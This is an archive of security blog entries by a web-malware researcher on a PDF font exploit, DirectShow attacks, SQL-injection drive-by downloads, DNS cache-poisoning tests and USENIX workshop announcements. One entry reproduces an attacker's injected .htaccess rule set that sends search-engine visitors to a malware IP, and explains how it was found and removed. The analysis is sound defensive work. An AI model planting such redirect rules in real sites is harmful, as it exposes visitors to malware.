Niels Provos (Entries tagged as security)

Adobe PDF Vulnerability: Stack overflow in Font File parsing

nospam@example.com (Niels Provos) — Thu, 09 Sep 2010 22:18:39 -0700

Metasploit has a great write up on new vulnerability in PDF. The basic problem is a stack overflow when parsing OpenType fonts. In particular, SING Glyphlet tables contain a 27 byte long unique name that is expected to be NUL-terminated and stored in a 28-byte buffer. The vulnerable code is using strcat and lacks bounds checking resulting in a stack overflow.

The PDF in the wild prepares the heap via Javascript and contains multiple different font files that are selected by navigating to a specific page in the PDF based on the viewer version. Each font files has slightly different shell code. It was amusing to see that the attackers after modifying the head and SING tables did not fix up their respective checksums. According to Metasploit, this exploit works under Windows 7 with both DEP and ASLR turned on. Fun Fun. As of now, no patched version is available. The SecBrowsing blog contains instructions with temporary remedies.

LEET '10 Call for Papers

nospam@example.com (Niels Provos) — Sat, 29 Aug 2009 12:35:46 -0700

The call for papers for the 3rd USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET '10) Botnets, Spyware, Worms, and More just went out. It will be held on April 27, 2010 in San Jose, CA.

LEET '10 will be co-located with the 7th USENIX Symposium on Networked Systems Design and Implementation (NSDI '10), which will take place April 28–30, 2010.

Important Dates

Submissions due: Thursday, February 25, 2010, 11:59 p.m. PST
Notification of acceptance: Wednesday, March 24, 2010
Final papers due: Monday, April 5, 2010

Workshop Organizers
Program Chair

Michael Bailey, University of Michigan

Program Committee

Dan Boneh, Stanford University
Nick Feamster, Georgia Institute of Technology
Jaeyeon Jung, Intel Labs, Seattle
Christian Kreibich, International Computer Science Institute
Patrick McDaniel, Pennsylvania State University
Fabian Monrose, University of North Carolina, Chapel Hill
Jose Nazario, Arbor Networks, Inc.
Stefan Savage, University of California, San Diego
Matt Williamson, AVG Technologies
Yinglian Xie, Microsoft Research
Vinod Yegneswaran, SRI International

Go submit your work!

DirectShow Vulnerability Exploited Everywhere

nospam@example.com (Niels Provos) — Sat, 11 Jul 2009 09:38:16 -0700

The DirectShow vulnerabilities are being exploited all over the place now. Unfortunately, the second vulnerability in DirectShow is still unpatched and exploit sites seem to be jumping on this. There is even some evidence that it's possible to successfully exploit the vulnerability without even using JavaScript. New exploit domains are popping after every day. DirectShow now seems to be what Flash and PDF were earlier in the year.

Cybercrime 2.0: When the Cloud Turns Dark

nospam@example.com (Niels Provos) — Wed, 01 Jul 2009 08:19:59 -0700

We recently published an article on web-based malware in ACM's Queue Magazine. It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc. This is the article on which my recent ISSNet talk was based.

LEET'09: Large Scale Exploits and Emergent Threats

nospam@example.com (Niels Provos) — Tue, 14 Apr 2009 17:25:08 -0700

The 2nd USENIX LEET workshop is going to take place on April 21st in Boston next week. The workshop program looks really interesting. There are a number of really interesting talks; here are just a few:

Spamcraft: An Inside Look At Spam Campaign Orchestration
A Foray into Conficker's Logic and Rendezvous Points
A View on Current Malware Behaviors

Last year's workshop was a blast and I expect that next week is going to be lots of fun, too. It is still possible to register on-site for the workshop.

Using htaccess To Distribute Malware

nospam@example.com (Niels Provos) — Fri, 05 Dec 2008 20:34:36 -0800

Usually, I get to find compromised web servers, but last week I was asked to fix one. A relative noticed that his web server would try to install a rogue anti-malware product and called me for help. Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar. A little investigation with curl could reproduce that behavior:

curl -I -H "Referer: www.google.com" http://www.foo.com/

returned a 302 redirect to an IP address, whereas

curl -I http://www.foo.com/

returned a 200. To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in .htaccess:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]

This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.

The attackers were able to insert this file as the web application had a remote file inclusion vulnerability. These attacks are quite popular as we found in our paper: To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads. The fix in this case was to remove the .htaccess file and to upgrade the web application to a patched version without the vulnerability.

SQL Injection Redux

nospam@example.com (Niels Provos) — Tue, 25 Nov 2008 20:59:35 -0800

During my invited talk on web-based malware at USENIX Security, I mentioned SQL Injection as one of the more popular means of compromising web servers. Although I did not have a chance to post my slides, here is one graph that shows how many URLs with drive-by downloads due to SQL injection were found by Google's infrastructure in July 2008; it's over 800,000 URLs. Curiously, most of these were due to the Asprox botnet.

The situation has slightly changed since then, Asprox has become quiet and most of the SQL Injection attacks seem to originate from Chinese sites. One way to determine if a site has been injected with malicious content is the Safe Browsing diagnostic page which shows infection domains and also how many sites they compromised. Here is an example of a Chinese SQL injection domain, ko118.cn.

To help web application developers, OWASP has published detailed guidelines on preventing SQL injection attacks. More importantly if your web site was SQL injected, its database needs to be cleaned to remove the injected content.

LEET '09 Call for Papers

nospam@example.com (Niels Provos) — Wed, 12 Nov 2008 18:48:12 -0800

The CfP for the 2nd USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET '09): Botnets, Spyware, Worms, and More is up at:

http://www.usenix.org/event/leet09/cfp/.

LEET '09 will be held on April 21, 2009 in Boston, MA immediately before the 6th USENIX Symposium on Networked Systems Design and Implementation (NSDI '09), which will take place April 22–24, 2009.

Important Dates

Submissions due: January 16, 2009, 11:59 p.m. EST
Notification of acceptance: March 2, 2009
Electronic files due: March 30, 2009

This will be the second edition of LEET, which had evolved from the combination of two other successful workshops, the ACM Workshop on Recurring Malcode (WORM) and the USENIX Workshop on Hot Topics in Understanding Botnets (HotBots). These two workshops have each dealt with aspects of this problem. However, while papers relating to both worms and botnets are explicitly solicited, LEET has a broader charter than its predecessors. We encourage submissions of papers that focus on any aspect of the underlying mechanisms used to compromise and control hosts, the large-scale "applications" being perpetrated upon this framework, or the social and economic networks driving these threats.

Getting ready for USENIX Security

nospam@example.com (Niels Provos) — Mon, 28 Jul 2008 17:51:44 -0700

This week is going to be crazy busy with HotSec and USENIX Security in San Jose. I am chairing the HotSec workshop tomorrow. We were able to get a pretty nice program this year. At USENIX Security, I am going to give two talks. One is in the technical program talking about "All Your iFrames Point to Us" and the other one is an invited talk on web-based malware on Friday. I am still working on the slides.

DNS And Responsible Disclosure

nospam@example.com (Niels Provos) — Tue, 22 Jul 2008 09:15:00 -0700

As everyone was upgrading their DNS infrastructure to be ready for August 7th, some security reseachers independently discovered the DNS flaw and disclosed it. For those of us, who were either informed or had figured out the problem ourselves, it is surprising to find irresponsible and grossly negligent disclosure from respected members of our community. There was a reason that Kaminsky did not disclose the flaw publicly when he found it. The DNS infrastructure needed to be upgraded and repaired.

Well, the time has run out. A current study by David Dagon and myself puts the number of open recursive resolvers using static source ports at about 78%. That is a lot of servers that need to be patched. Two more weeks till August 7th could have helped to fix many of them. Unfortunately, we will not find out now.

DNS Testing Image

nospam@example.com (Niels Provos) — Tue, 15 Jul 2008 19:11:50 -0700

As we are all trying to patch and upgrade our resolvers and NAT devices, I created a small image tag that automatically assesses the randomess of a visitor's resolver:

This is still in reference to the CERT Advisory on Multiple DNS implementations vulnerable to cache poisoning. You can place the image tag on your web page to test your visitors:

<center><a href="http://www.provos.org/index.php?/archives/42-DNS-and-Randomness.html"><img src="http://porttest.honeyd.org/-s-_dns.png" border=0></a></center>

The a href link can of course point to a more helpful web page and the image itself can also be changed according to need.

If you want to show this on your pages with different images, just let me know.

DNS and Randomness

nospam@example.com (Niels Provos) — Sun, 13 Jul 2008 17:59:11 -0700

Over the last few days, we have heard a lot about DNS cache poisoning and how we need to get our recursive resolvers to use random source ports. We are being told that this is a flaw in the protocol, but no details are going to be available until a presentation at Blackhat in August. DNS cache poisoning of course has been around for a long time, most notably when the 16-bit query IDs were not randomized. Here are some good references:

DNS Cache Poisoning – The Next Generation - Joe Stewart elaborating on observations from Vagner Sacramento in 2002: Bind would issue multiple request with the same query to the same IP; increasing the chance of spoofed DNS packets to guess the right query ID.
Bind 9 DNS Cache Poisoning by Amit Klein in 2007 requires just 10 guesses to predict the query ID.
Strange Attractors and TCP/IP Sequence Number Analysis Michal Zalewski in 2001 looked at predicting the 32-bit TCP sequence number across multiple operating systems; a very similar problem to predicting 16-bit source port and 16-bit query ID.

Oarc in the meantime has made a port testing server available. A simple invocation of dig tells you if your recursive resolver is vulnerable:

dig +short porttest.dns-oarc.net TXT

The TXT record assesses a resolver's source port randomness as poor, fair or good. Unfortunately, on my network, I found this record constantly cached from other resolvers, so I wrote a small Python tool that analyzes the randomness of both your source port numbers as a well as your query IDs. The tool can be downloaded from:

http://www.monkey.org/~provos/dnspredict.py

Its usage is pretty simple:

Continue reading "DNS and Randomness"

HotSec is Hot!

nospam@example.com (Niels Provos) — Thu, 10 Jul 2008 17:05:43 -0700

This year, I have the pleasure of chairing the 3rd USENIX Workshop on Hot Topics in Security, an invitation-only workshop that provides a forum for leading security researchers to discuss current trends and new research ideas. At the program committee meeting in Mountain View, we selected 13 out of 37 papers for the final program. It's pretty hot. Here are some of the talks I am looking forward to:

Towards Application Security on Untrusted Operating Systems
Defeating Deniable File Systems: A TrueCrypt Case Study
Panic Passwords: Authenticating under Duress
Absence Makes the Heart Grow Fonder: New Directions for Implantable Medical Device Security

HotSec is taking place on July 29th, one day before the technical program of the USENIX Security Symposium. The keynote for USENIX Security is going to be exciting: Debra Bowen, the California Secretary of State, is speaking on Dr. Strangevote or: How I Learned to Stop Worrying and Love the Paper Ballot.

See you there,
Niels.

The Ghost In The Browser

nospam@example.com (Niels Provos) — Wed, 09 May 2007 19:27:43 -0700

During HotBots last month, I presented a paper on a systematic approach for detecting malware on the web called "The Ghost In The Browser". The paper enumerates all the different ways in which a web page can become malicious and contains some measurements on the prevalance of drive-by-downloads; an in depth analysis of 4.5 million URLs detected 450,000 that were surreptitiously installing malware. All the more reason for tools such as SpyBye. Fortunately, I am not the only one working on such tools. Christian Seifert from the New Zealand Honeypot Alliance recently announced a web interface to their Capture honey client which runs a browser against URLs specified by you. In a similar vein, Shelia is a tool that scans your mail folder and follows URLs contained in it for malware and exploits.